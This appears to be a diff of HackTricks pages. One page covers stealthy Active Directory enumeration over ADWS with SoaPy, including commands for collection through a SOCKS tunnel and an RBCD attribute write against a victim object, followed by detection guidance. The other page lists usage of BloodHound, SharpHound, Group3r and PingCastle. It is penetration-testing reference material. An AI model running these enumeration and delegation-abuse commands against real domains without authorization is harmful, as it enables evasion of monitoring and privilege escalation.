Active Directory Web Services (ADWS) is **enabled by default on every Domain Controller since Windows Server 2008 R2** and listens on TCP **9389**. Despite the name, **no HTTP is involved**. Instead, the service exposes LDAP-style data through a stack of proprietary .NET framing protocols:
|
||||
|
||||
* MC-NBFX → MC-NBFSE → MS-NNS → MC-NMF
|
||||
|
||||
Because the traffic is encapsulated inside these binary SOAP frames and travels over an uncommon port, **enumeration through ADWS is far less likely to be inspected, filtered or signatured than classic LDAP/389 & 636 traffic**. For operators this means:
|
||||
|
||||
* Stealthier recon – Blue teams often concentrate on LDAP queries.
|
||||
* Freedom to collect from **non-Windows hosts (Linux, macOS)** by tunnelling 9389/TCP through a SOCKS proxy.
|
||||
* The same data you would obtain via LDAP (users, groups, ACLs, schema, etc.) and the ability to perform **writes** (e.g. `msDs-AllowedToActOnBehalfOfOtherIdentity` for **RBCD**).
|
||||
|
||||
> NOTE: ADWS is also used by many RSAT GUI/PowerShell tools, so traffic may blend with legitimate admin activity.
|
||||
|
||||
## SoaPy – Native Python Client
|
||||
|
||||
[SoaPy](https://github.com/logangoins/soapy) is a **full re-implementation of the ADWS protocol stack in pure Python**. It crafts the NBFX/NBFSE/NNS/NMF frames byte-for-byte, allowing collection from Unix-like systems without touching the .NET runtime.
|
||||
|
||||
### Key Features
|
||||
|
||||
* Supports **proxying through SOCKS** (useful from C2 implants).
|
||||
* Fine-grained search filters identical to LDAP `-q '(objectClass=user)'`.
|
||||
* Optional **write** operations ( `--set` / `--delete` ).
|
||||
* **BOFHound output mode** for direct ingestion into BloodHound.
|
||||
* `--parse` flag to prettify timestamps / `userAccountControl` when human readability is required.
|
||||
|
||||
### Installation (operator host)
|
||||
|
||||
```bash
|
||||
python3 -m pip install soapy-adws # or git clone && pip install -r requirements.txt
|
||||
```
|
||||
|
||||
## Stealth AD Collection Workflow
|
||||
|
||||
The following workflow shows how to enumerate **domain & ADCS objects** over ADWS, convert them to BloodHound JSON and hunt for certificate-based attack paths – all from Linux:
|
||||
|
||||
1. **Tunnel 9389/TCP** from the target network to your box (e.g. via Chisel, Meterpreter, SSH dynamic port-forward, etc.). Export `export HTTPS_PROXY=socks5://127.0.0.1:1080` or use SoaPy’s `--proxyHost/--proxyPort`.
|
||||
|
||||
2. **Collect the root domain object:**
|
||||
|
||||
```bash
|
||||
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
-q '(objectClass=domain)' \
|
||||
| tee data/domain.log
|
||||
```
|
||||
|
||||
3. **Collect ADCS-related objects from the Configuration NC:**
|
||||
|
||||
```bash
|
||||
soapy ludus.domain/jdoe:'P@ssw0rd'@10.2.10.10 \
|
||||
-dn 'CN=Configuration,DC=ludus,DC=domain' \
|
||||
-q '(|(objectClass=pkiCertificateTemplate)(objectClass=CertificationAuthority) \\
|
||||
(objectClass=pkiEnrollmentService)(objectClass=msPKI-Enterprise-Oid))' \
|
||||
| tee data/adcs.log
|
||||
```
|
||||
|
||||
4. **Convert to BloodHound:**
|
||||
|
||||
```bash
|
||||
bofhound -i data --zip # produces BloodHound.zip
|
||||
```
|
||||
|
||||
5. **Upload the ZIP** in the BloodHound GUI and run cypher queries such as `MATCH (u:User)-[:Can_Enroll*1..]->(c:CertTemplate) RETURN u,c` to reveal certificate escalation paths (ESC1, ESC8, etc.).
|
||||
|
||||
### Writing `msDs-AllowedToActOnBehalfOfOtherIdentity` (RBCD)
|
||||
|
||||
```bash
|
||||
soapy ludus.domain/jdoe:'P@ssw0rd'@dc.ludus.domain \
|
||||
--set 'CN=Victim,OU=Servers,DC=ludus,DC=domain' \
|
||||
msDs-AllowedToActOnBehalfOfOtherIdentity 'B:32:01....'
|
||||
```
|
||||
|
||||
Combine this with `s4u2proxy`/`Rubeus /getticket` for a full **Resource-Based Constrained Delegation** chain.
|
||||
|
||||
## Detection & Hardening
|
||||
|
||||
### Verbose ADDS Logging
|
||||
|
||||
Enable the following registry keys on Domain Controllers to surface expensive / inefficient searches coming from ADWS (and LDAP):
|
||||
|
||||
```powershell
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics' -Name '15 Field Engineering' -Value 5 -Type DWORD
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Expensive Search Results Threshold' -Value 1 -Type DWORD
|
||||
New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters' -Name 'Search Time Threshold (msecs)' -Value 0 -Type DWORD
|
||||
```
|
||||
|
||||
Events will appear under **Directory-Service** with the full LDAP filter, even when the query arrived via ADWS.
|
||||
|
||||
### SACL Canary Objects
|
||||
|
||||
1. Create a dummy object (e.g. disabled user `CanaryUser`).
|
||||
2. Add an **Audit** ACE for the _Everyone_ principal, audited on **ReadProperty**.
|
||||
3. Whenever an attacker performs `(servicePrincipalName=*)`, `(objectClass=user)` etc. the DC emits **Event 4662** which contains the real user SID – even when the request is proxied or originates from ADWS.
|
||||
|
||||
Elastic pre-built rule example:
|
||||
|
||||
```kql
|
||||
(event.code:4662 and not user.id:"S-1-5-18") and winlog.event_data.AccessMask:"0x10"
|
||||
```
|
||||
|
||||
## Tooling Summary
|
||||
|
||||
| Purpose | Tool | Notes |
|
||||
|---------|------|-------|
|
||||
| ADWS enumeration | [SoaPy](https://github.com/logangoins/soapy) | Python, SOCKS, read/write |
|
||||
| BloodHound ingest | [BOFHound](https://github.com/bohops/BOFHound) | Converts SoaPy/ldapsearch logs |
|
||||
| Cert compromise | [Certipy](https://github.com/ly4k/Certipy) | Can be proxied through same SOCKS |
|
||||
|
||||
## References
|
||||
|
||||
* [SpecterOps – Make Sure to Use SOAP(y) – An Operators Guide to Stealthy AD Collection Using ADWS](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/)
|
||||
* [SoaPy GitHub](https://github.com/logangoins/soapy)
|
||||
* [BOFHound GitHub](https://github.com/bohops/BOFHound)
|
||||
* [Microsoft – MC-NBFX, MC-NBFSE, MS-NNS, MC-NMF specifications](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nbfx/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,100 +1,88 @@
|
||||
# BloodHound & Other AD Enum Tools
|
||||
# BloodHound & Other Active Directory Enumeration Tools
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
{{#ref}}
|
||||
adws-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
> NOTE: This page groups some of the most useful utilities to **enumerate** and **visualise** Active Directory relationships. For collection over the stealthy **Active Directory Web Services (ADWS)** channel check the reference above.
|
||||
|
||||
---
|
||||
|
||||
## AD Explorer
|
||||
|
||||
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) is from Sysinternal Suite:
|
||||
[AD Explorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer) (Sysinternals) is an advanced **AD viewer & editor** which allows:
|
||||
|
||||
> An advanced Active Directory (AD) viewer and editor. You can use AD Explorer to navigate an AD database easily, define favourite locations, view object properties, and attributes without opening dialog boxes, edit permissions, view an object's schema, and execute sophisticated searches that you can save and re-execute.
|
||||
* GUI browsing of the directory tree
|
||||
* Editing of object attributes & security descriptors
|
||||
* Snapshot creation / comparison for offline analysis
|
||||
|
||||
### Snapshots
|
||||
### Quick usage
|
||||
|
||||
AD Explorer can create snapshots of an AD so you can check it offline.\
|
||||
It can be used to discover vulns offline, or to compare different states of the AD DB across the time.
|
||||
1. Start the tool and connect to `dc01.corp.local` with any domain credentials.
|
||||
2. Create an offline snapshot via `File ➜ Create Snapshot`.
|
||||
3. Compare two snapshots with `File ➜ Compare` to spot permission drifts.
|
||||
|
||||
You will be requires the username, password, and direction to connect (any AD user is required).
|
||||
|
||||
To take a snapshot of AD, go to `File` --> `Create Snapshot` and enter a name for the snapshot.
|
||||
---
|
||||
|
||||
## ADRecon
|
||||
|
||||
[**ADRecon**](https://github.com/adrecon/ADRecon) is a tool which extracts and combines various artefacts out of an AD environment. The information can be presented in a **specially formatted** Microsoft Excel **report** that includes summary views with metrics to facilitate analysis and provide a holistic picture of the current state of the target AD environment.
|
||||
[ADRecon](https://github.com/adrecon/ADRecon) extracts a large set of artefacts from a domain (ACLs, GPOs, trusts, CA templates …) and produces an **Excel report**.
|
||||
|
||||
```bash
|
||||
# Run it
|
||||
.\ADRecon.ps1
|
||||
```powershell
|
||||
# On a Windows host in the domain
|
||||
PS C:\> .\ADRecon.ps1 -OutputDir C:\Temp\ADRecon
|
||||
```
|
||||
|
||||
## BloodHound
|
||||
---
|
||||
|
||||
From [https://github.com/BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
|
||||
## BloodHound (graph visualisation)
|
||||
|
||||
> BloodHound is a single page Javascript web application, built on top of [Linkurious](http://linkurio.us/), compiled with [Electron](http://electron.atom.io/), with a [Neo4j](https://neo4j.com/) database fed by a C# data collector.
|
||||
[BloodHound](https://github.com/BloodHoundAD/BloodHound) uses graph theory + Neo4j to reveal hidden privilege relationships inside on-prem AD & Azure AD.
|
||||
|
||||
BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory or Azure environment.
|
||||
|
||||
So, [Bloodhound ](https://github.com/BloodHoundAD/BloodHound)is an amazing tool which can enumerate a domain automatically, save all the information, find possible privilege escalation paths and show all the information using graphs.
|
||||
|
||||
Booldhound is composed of 2 main parts: **ingestors** and the **visualisation application**.
|
||||
|
||||
The **ingestors** are used to **enumerate the domain and extract all the information** in a format that the visualisation application will understand.
|
||||
|
||||
The **visualisation application uses neo4j** to show how all the information is related and to show different ways to escalate privileges in the domain.
|
||||
|
||||
### Installation
|
||||
|
||||
After the creation of BloodHound CE, the entire project was updated for ease of use with Docker. The easiest way to get started is to use its pre-configured Docker Compose configuration.
|
||||
|
||||
1. Install Docker Compose. This should be included with the [Docker Desktop](https://www.docker.com/products/docker-desktop/) installation.
|
||||
2. Run:
|
||||
### Deployment (Docker CE)
|
||||
|
||||
```bash
|
||||
curl -L https://ghst.ly/getbhce | docker compose -f - up
|
||||
# Web UI ➜ http://localhost:8080 (user: admin / password from logs)
|
||||
```
|
||||
|
||||
3. Locate the randomly generated password in the terminal output of Docker Compose.
|
||||
4. In a browser, navigate to http://localhost:8080/ui/login. Login with the username **`admin`** and a **`randomly generated password`** you can find in the logs of docker compose.
|
||||
### Collectors
|
||||
|
||||
After this you will need to change the randomly generated password and you will have the new interface ready, from which you can directly download the ingestors.
|
||||
* `SharpHound.exe` / `Invoke-BloodHound` – native or PowerShell variant
|
||||
* `AzureHound` – Azure AD enumeration
|
||||
* **SoaPy + BOFHound** – ADWS collection (see link at top)
|
||||
|
||||
### SharpHound
|
||||
#### Common SharpHound modes
|
||||
|
||||
They have several options but if you want to run SharpHound from a PC joined to the domain, using your current user and extract all the information you can do:
|
||||
|
||||
```
|
||||
./SharpHound.exe --CollectionMethods All
|
||||
Invoke-BloodHound -CollectionMethod All
|
||||
```powershell
|
||||
SharpHound.exe --CollectionMethods All # Full sweep (noisy)
|
||||
SharpHound.exe --CollectionMethods Group,LocalAdmin,Session,Trusts,ACL
|
||||
SharpHound.exe --Stealth --LDAP # Low noise LDAP only
|
||||
```
|
||||
|
||||
> You can read more about **CollectionMethod** and loop session [here](https://support.bloodhoundenterprise.io/hc/en-us/articles/17481375424795-All-SharpHound-Community-Edition-Flags-Explained)
|
||||
The collectors generate JSON which is ingested via the BloodHound GUI.
|
||||
|
||||
If you wish to execute SharpHound using different credentials you can create a CMD netonly session and run SharpHound from there:
|
||||
|
||||
```
|
||||
runas /netonly /user:domain\user "powershell.exe -exec bypass"
|
||||
```
|
||||
|
||||
[**Learn more about Bloodhound in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux)
|
||||
---
|
||||
|
||||
## Group3r
|
||||
|
||||
[**Group3r**](https://github.com/Group3r/Group3r) is a tool to find **vulnerabilities** in Active Directory associated **Group Policy**. \
|
||||
You need to **run group3r** from a host inside the domain using **any domain user**.
|
||||
[Group3r](https://github.com/Group3r/Group3r) enumerates **Group Policy Objects** and highlights misconfigurations.
|
||||
|
||||
```bash
|
||||
group3r.exe -f <filepath-name.log>
|
||||
# -s sends results to stdin
|
||||
# -f send results to file
|
||||
# Execute inside the domain
|
||||
Group3r.exe -f gpo.log # -s to stdout
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PingCastle
|
||||
|
||||
[**PingCastle**](https://www.pingcastle.com/documentation/) **evaluates the security posture of an AD environment** and provides a nice **report** with graphs.
|
||||
[PingCastle](https://www.pingcastle.com/documentation/) performs a **health-check** of Active Directory and generates an HTML report with risk scoring.
|
||||
|
||||
To run it, can execute the binary `PingCastle.exe` and it will start an **interactive session** presenting a menu of options. The default option to use is **`healthcheck`** which will establish a baseline **overview** of the **domain**, and find **misconfigurations** and **vulnerabilities**.
|
||||
```powershell
|
||||
PingCastle.exe --healthcheck --server corp.local --user bob --password "P@ssw0rd!"
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user